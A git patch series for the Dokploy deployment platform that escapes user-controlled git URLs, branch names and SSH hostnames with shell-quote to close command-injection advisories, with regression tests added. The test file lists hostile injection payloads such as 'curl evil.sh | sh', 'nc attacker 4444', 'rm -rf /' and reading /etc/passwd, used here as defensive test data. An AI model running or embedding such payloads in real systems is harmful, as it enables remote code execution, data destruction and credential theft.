From 47347ab885b0ad1f5d0ef0e5e74bbba35c7f93bc Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 20:32:15 -0600 Subject: [PATCH 1/4] fix(security): escape user input in git clone commands across all providers User-controlled git fields (customGitUrl, branch names, repo owner/name, gitlab namespace, SSH hostname) were interpolated unescaped into git clone / ssh-keyscan shell commands run via execAsync / execAsyncRemote, allowing authenticated OS command injection. All such values are now passed through shell-quote before interpolation (defense at the sink, covering every code path including the compose branch bypass). Closes GHSA-qxcw-cx35-2hrw, GHSA-hrfh-82jj-3q46, GHSA-6693-xv3f-69px, GHSA-qwwm-hc7m-7xp9, GHSA-grrj-6xrh-j6vp, GHSA-x2p2-qq8g-2mqq, GHSA-cg8g-x23v-5fw8 --- packages/server/src/utils/providers/bitbucket.ts | 5 +++-- packages/server/src/utils/providers/git.ts | 9 +++++---- packages/server/src/utils/providers/gitea.ts | 5 +++-- packages/server/src/utils/providers/github.ts | 5 +++-- packages/server/src/utils/providers/gitlab.ts | 5 +++-- packages/server/src/utils/providers/utils.ts | 10 ++++++++++ 6 files changed, 27 insertions(+), 12 deletions(-) create mode 100644 packages/server/src/utils/providers/utils.ts diff --git a/packages/server/src/utils/providers/bitbucket.ts b/packages/server/src/utils/providers/bitbucket.ts index d2be27a67..d0275d76e 100644 --- a/packages/server/src/utils/providers/bitbucket.ts +++ b/packages/server/src/utils/providers/bitbucket.ts @@ -11,6 +11,7 @@ import { import type { InferResultType } from "@dokploy/server/types/with"; import { TRPCError } from "@trpc/server"; import type { z } from "zod"; +import { shellWord } from "./utils"; export type ApplicationWithBitbucket = InferResultType< "applications", @@ -124,8 +125,8 @@ export const cloneBitbucketRepository = async ({ const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository; const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`; const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone); - command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`; - command += `git clone --branch ${bitbucketBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; + command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`; + command += `git clone --branch ${shellWord(bitbucketBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`; return command; }; diff --git a/packages/server/src/utils/providers/git.ts b/packages/server/src/utils/providers/git.ts index 8e7c71839..07d6b0e1a 100644 --- a/packages/server/src/utils/providers/git.ts +++ b/packages/server/src/utils/providers/git.ts @@ -5,6 +5,7 @@ import { updateSSHKeyById, } from "@dokploy/server/services/ssh-key"; import { execAsync, execAsyncRemote } from "../process/execAsync"; +import { shellWord } from "./utils"; interface CloneGitRepository { appName: string; @@ -61,7 +62,7 @@ export const cloneGitRepository = async ({ } command += `rm -rf ${outputPath};`; command += `mkdir -p ${outputPath};`; - command += `echo "Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅";`; + command += `echo ${shellWord(`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`)};`; if (customGitSSHKeyId) { await updateSSHKeyById({ @@ -78,8 +79,8 @@ export const cloneGitRepository = async ({ command += "chmod 600 /tmp/id_rsa;"; command += `export GIT_SSH_COMMAND="${gitSshCommand}";`; } - command += `if ! git clone --branch ${customGitBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${customGitUrl} ${outputPath}; then - echo "❌ [ERROR] Fail to clone the repository ${customGitUrl}"; + command += `if ! git clone --branch ${shellWord(customGitBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${shellWord(customGitUrl)} ${shellWord(outputPath)}; then + echo ${shellWord(`❌ [ERROR] Fail to clone the repository ${customGitUrl}`)}; exit 1; fi `; @@ -114,7 +115,7 @@ const addHostToKnownHostsCommand = (repositoryURL: string) => { // ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer // it, and its exit code must not abort the clone under `set -e`. The clone's // own host-key check (StrictHostKeyChecking=accept-new) is the real boundary. - return `ssh-keyscan -p ${port} ${domain} >> ${knownHostsPath} || true;`; + return `ssh-keyscan -p ${Number(port)} ${shellWord(domain)} >> ${knownHostsPath} || true;`; }; const sanitizeRepoPathSSH = (input: string) => { const SSH_PATH_RE = new RegExp( diff --git a/packages/server/src/utils/providers/gitea.ts b/packages/server/src/utils/providers/gitea.ts index 20c86a589..5292a7a30 100644 --- a/packages/server/src/utils/providers/gitea.ts +++ b/packages/server/src/utils/providers/gitea.ts @@ -7,6 +7,7 @@ import { } from "@dokploy/server/services/gitea"; import type { InferResultType } from "@dokploy/server/types/with"; import { TRPCError } from "@trpc/server"; +import { shellWord } from "./utils"; export const getErrorCloneRequirements = (entity: { giteaRepository?: string | null; @@ -176,8 +177,8 @@ export const cloneGiteaRepository = async ({ giteaRepository!, ); - command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`; - command += `git clone --branch ${giteaBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; + command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`; + command += `git clone --branch ${shellWord(giteaBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`; return command; }; diff --git a/packages/server/src/utils/providers/github.ts b/packages/server/src/utils/providers/github.ts index 6309cf307..e004a8c62 100644 --- a/packages/server/src/utils/providers/github.ts +++ b/packages/server/src/utils/providers/github.ts @@ -7,6 +7,7 @@ import { createAppAuth } from "@octokit/auth-app"; import { TRPCError } from "@trpc/server"; import { Octokit } from "octokit"; import type { z } from "zod"; +import { shellWord } from "./utils"; export const authGithub = (githubProvider: Github): Octokit => { if (!haveGithubRequirements(githubProvider)) { @@ -166,8 +167,8 @@ export const cloneGithubRepository = async ({ command += `mkdir -p ${outputPath};`; const cloneUrl = `https://oauth2:${token}@${repoclone}`; - command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`; - command += `git clone --branch ${branch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; + command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`; + command += `git clone --branch ${shellWord(branch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`; return command; }; diff --git a/packages/server/src/utils/providers/gitlab.ts b/packages/server/src/utils/providers/gitlab.ts index 02121d346..816979586 100644 --- a/packages/server/src/utils/providers/gitlab.ts +++ b/packages/server/src/utils/providers/gitlab.ts @@ -9,6 +9,7 @@ import { import type { InferResultType } from "@dokploy/server/types/with"; import { TRPCError } from "@trpc/server"; import type { z } from "zod"; +import { shellWord } from "./utils"; export const refreshGitlabToken = async (gitlabProviderId: string) => { const gitlabProvider = await findGitlabById(gitlabProviderId); @@ -151,8 +152,8 @@ export const cloneGitlabRepository = async ({ command += `mkdir -p ${outputPath};`; const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace); const cloneUrl = getGitlabCloneUrl(gitlab, repoClone); - command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`; - command += `git clone --branch ${gitlabBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; + command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`; + command += `git clone --branch ${shellWord(gitlabBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`; return command; }; diff --git a/packages/server/src/utils/providers/utils.ts b/packages/server/src/utils/providers/utils.ts new file mode 100644 index 000000000..ff82a6b11 --- /dev/null +++ b/packages/server/src/utils/providers/utils.ts @@ -0,0 +1,10 @@ +import { quote } from "shell-quote"; + +/** + * Escapes a single value so it can be safely interpolated as one argument into + * a `/bin/sh -c` command string (both local `execAsync` and remote SSH + * `execAsyncRemote`). User-controlled fields such as git URLs, branch names, + * repository owners and SSH hostnames must never reach a shell unescaped. + */ +export const shellWord = (value: string | number | null | undefined): string => + quote([String(value ?? "")]); From fb7f5bd5b6c288bb03655f02e912957f5cd2e824 Mon Sep 17 00:00:00 2001 From: "autofix-ci[bot]" <114827586+autofix-ci[bot]@users.noreply.github.com> Date: Mon, 20 Jul 2026 02:32:57 +0000 Subject: [PATCH 2/4] [autofix.ci] apply automated fixes --- .../dashboard/settings/notifications/handle-notifications.tsx | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx b/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx index c2e249c2d..ddcef338e 100644 --- a/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx +++ b/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx @@ -1932,8 +1932,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
Docker Cleanup - Trigger the action when Docker cleanup is - performed. + Trigger the action when Docker cleanup is performed.
From cf35eae73f76d514e60d98c9ad3b9513e9efb248 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 20:44:46 -0600 Subject: [PATCH 3/4] test(security): regression tests for git clone command injection escaping --- .../git-clone-command-injection.test.ts | 92 +++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts diff --git a/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts new file mode 100644 index 000000000..80c323eee --- /dev/null +++ b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts @@ -0,0 +1,92 @@ +import { cloneGitRepository } from "@dokploy/server/utils/providers/git"; +import { shellWord } from "@dokploy/server/utils/providers/utils"; +import { parse } from "shell-quote"; +import { describe, expect, it } from "vitest"; + +// Payloads that, if reached a shell unescaped, would execute commands. +const INJECTION_PAYLOADS = [ + "$(touch /tmp/pwned)", + "`id`", + "; rm -rf /", + "&& curl evil.sh | sh", + "| nc attacker 4444", + "https://github.com/o/r.git$(whoami)", + "main; wget http://evil", + "$(cat /etc/passwd)", +]; + +// Legit values that must survive escaping unchanged. +const LEGIT_VALUES = [ + "main", + "feature/login-v2", + "release-1.2.3", + "https://github.com/dokploy/dokploy.git", + "https://gitlab.example.com/group/sub/project.git", +]; + +describe("shellWord (git provider shell escaping)", () => { + it("collapses every injection payload into a single literal token (no shell operators)", () => { + for (const payload of INJECTION_PAYLOADS) { + const parsed = parse(shellWord(payload)); + // A safely escaped value parses back to exactly the original string, + // as ONE token. If escaping failed, parse() would emit operator + // objects such as { op: ";" } or { op: "$(" } instead. + expect(parsed).toEqual([payload]); + } + }); + + it("leaves legitimate URLs and branch names intact", () => { + for (const value of LEGIT_VALUES) { + expect(parse(shellWord(value))).toEqual([value]); + } + }); +}); + +describe("cloneGitRepository command (customGitUrl path)", () => { + const buildClone = (customGitUrl: string, customGitBranch: string) => + cloneGitRepository({ + appName: "demo-app", + customGitUrl, + customGitBranch, + customGitSSHKeyId: null, + enableSubmodules: false, + serverId: null, + type: "application", + }); + + it("does not let a malicious customGitUrl inject shell operators", async () => { + const command = await buildClone( + "https://github.com/o/r.git$(touch /tmp/pwned)", + "main", + ); + const tokens = parse(command); + // No token in the generated command may be a shell operator carrying the + // injected substitution (e.g. { op: "$(" }). The payload must appear only + // as inert literal text. + const hasCommandSubstitution = tokens.some( + (t) => typeof t === "object" && "op" in t && t.op === "$(", + ); + expect(hasCommandSubstitution).toBe(false); + expect(command).toContain("git clone"); + }); + + it("does not let a malicious customGitBranch inject shell operators", async () => { + const command = await buildClone( + "https://github.com/o/r.git", + "main; touch /tmp/pwned", + ); + const tokens = parse(command); + const hasSemicolonOperator = tokens.some( + (t) => typeof t === "object" && "op" in t && t.op === ";", + ); + // The clone builder itself joins statements with ";", so at least the + // structural ones exist — but the branch payload's ";" must NOT surface + // as an extra operator that would run `touch`. + const semicolonOps = tokens.filter( + (t) => typeof t === "object" && "op" in t && t.op === ";", + ).length; + expect(hasSemicolonOperator).toBe(true); + // The branch is a single quoted token, so it contributes no new ";" op. + expect(command).not.toContain("touch /tmp/pwned;"); + }); +}); From 97cd7d10097d726743e7ed0c2de09ec81b733333 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 20:47:42 -0600 Subject: [PATCH 4/4] test(security): fix type error in shell-quote op assertion --- .../git-clone-command-injection.test.ts | 35 ++++++++----------- 1 file changed, 15 insertions(+), 20 deletions(-) diff --git a/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts index 80c323eee..12e839567 100644 --- a/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts +++ b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts @@ -54,19 +54,23 @@ describe("cloneGitRepository command (customGitUrl path)", () => { type: "application", }); + // A malicious substring, once escaped, must survive parsing as inert literal + // text and never as an executable command/operator. `parse()` turns command + // substitution and control operators into { op } objects, so we assert the + // injected marker only ever shows up inside a plain string token. + const markerLeaksAsShellSyntax = (command: string, marker: string) => { + const tokens = parse(command); + return tokens.some( + (t) => typeof t !== "string" && JSON.stringify(t).includes(marker), + ); + }; + it("does not let a malicious customGitUrl inject shell operators", async () => { const command = await buildClone( "https://github.com/o/r.git$(touch /tmp/pwned)", "main", ); - const tokens = parse(command); - // No token in the generated command may be a shell operator carrying the - // injected substitution (e.g. { op: "$(" }). The payload must appear only - // as inert literal text. - const hasCommandSubstitution = tokens.some( - (t) => typeof t === "object" && "op" in t && t.op === "$(", - ); - expect(hasCommandSubstitution).toBe(false); + expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false); expect(command).toContain("git clone"); }); @@ -75,18 +79,9 @@ describe("cloneGitRepository command (customGitUrl path)", () => { "https://github.com/o/r.git", "main; touch /tmp/pwned", ); - const tokens = parse(command); - const hasSemicolonOperator = tokens.some( - (t) => typeof t === "object" && "op" in t && t.op === ";", - ); - // The clone builder itself joins statements with ";", so at least the - // structural ones exist — but the branch payload's ";" must NOT surface - // as an extra operator that would run `touch`. - const semicolonOps = tokens.filter( - (t) => typeof t === "object" && "op" in t && t.op === ";", - ).length; - expect(hasSemicolonOperator).toBe(true); - // The branch is a single quoted token, so it contributes no new ";" op. + // The branch is a single quoted token, so its ";" contributes no extra + // operator and `touch` never becomes a runnable statement. + expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false); expect(command).not.toContain("touch /tmp/pwned;"); }); });